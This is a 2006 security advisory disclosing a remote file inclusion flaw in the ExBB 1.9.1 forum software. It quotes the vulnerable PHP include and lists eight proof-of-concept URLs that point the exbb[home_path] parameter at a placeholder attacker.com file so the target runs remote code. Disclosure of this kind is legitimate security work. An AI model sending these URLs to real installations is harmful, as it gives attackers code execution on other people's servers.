ECHO.OR.ID ------------------------------------------------------------------------------
[ECHO_ADV_46$2006] ExBB v1.9.1 (exbb[home_path]) Multiple Remote File Inclusion ------------------------------------------------------------------------------ Author : Ahmad Maulana a.k.a Matdhule Date Found : August, 30th 2006 Location : Indonesia, Jakarta web : http://advisories.echo.or.id/adv/adv46-matdhule-2006.txt Critical Lvl : Highly critical Impact : System access Where : From Remote --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ExBB 1.9.1 Application : ExBB version : 1.9.1 URL : http://www.exbb.net --------------------------------------------------------------------------- Vulnerability: ~~~~~~~~~~~~~~ In folder birstday we found vulnerability script birst.php ---------------------------birst.php--------------------------------------- .... <? $birstdayconf = array(); include ($exbb['home_path'].'modules/birstday/data/birstday_conf.php'); include ($exbb['home_path'].'modules/birstday/language/'.$exbb['default_lang'].'/lang.php'); ... ---------------------------------------------------------- Input passed to the "exbb['home_path']" parameter in birst.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources. Also affected files : ./select.php ./profile_show.php ../newusergreatings/pm_newreg.php ../punish/p_error.php ../punish/profile.php ../threadstop/threadstop.php ../userstop/userstop.php Proof Of Concept: ~~~~~~~~~~~~~~~ http://target.com/[exbb_path]/modules/birstday/birst.php?exbb[home_path]=http://attacker.com/inject.txt? http://target.com/[exbb_path]/modules/birstday/select.php?exbb[home_path]=http://attacker.com/inject.txt? http://target.com/[exbb_path]/modules/birstday/profile_show.php?exbb[home_path]=http://attacker.com/inject.txt? http://target.com/[exbb_path]/modules/newusergreatings/pm_newreg.php?exbb[home_path]=http://attacker.com/inject.txt? http://target.com/[exbb_path]/modules/punish/p_error.php?exbb[home_path]=http://attacker.com/inject.txt? http://target.com/[exbb_path]/modules/punish/profile.php?exbb[home_path]=http://attacker.com/inject.txt? http://target.com/[exbb_path]/modules/threadstop/threadstop.php?exbb[home_path]=http://attacker.com/inject.txt? http://target.com/[exbb_path]/modules/userstop/userstop.php?exbb[home_path]=http://attacker.com/inject.txt? Solution: ~~~~~~~ - Sanitize variable $exbb['home_path'] on affected files. --------------------------------------------------------------------------- Shoutz: ~~~ ~ solpot a.k.a chris, J4mbi H4ck3r thx for the hacking lesson :) ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous ~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama, BlueSpy, str0ke ~ [EMAIL PROTECTED], [EMAIL PROTECTED] ~ Solpotcrew Comunity , #jambihackerlink #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~~ matdhule[at]gmail[dot]com -------------------------------- [ EOF ]----------------------------------
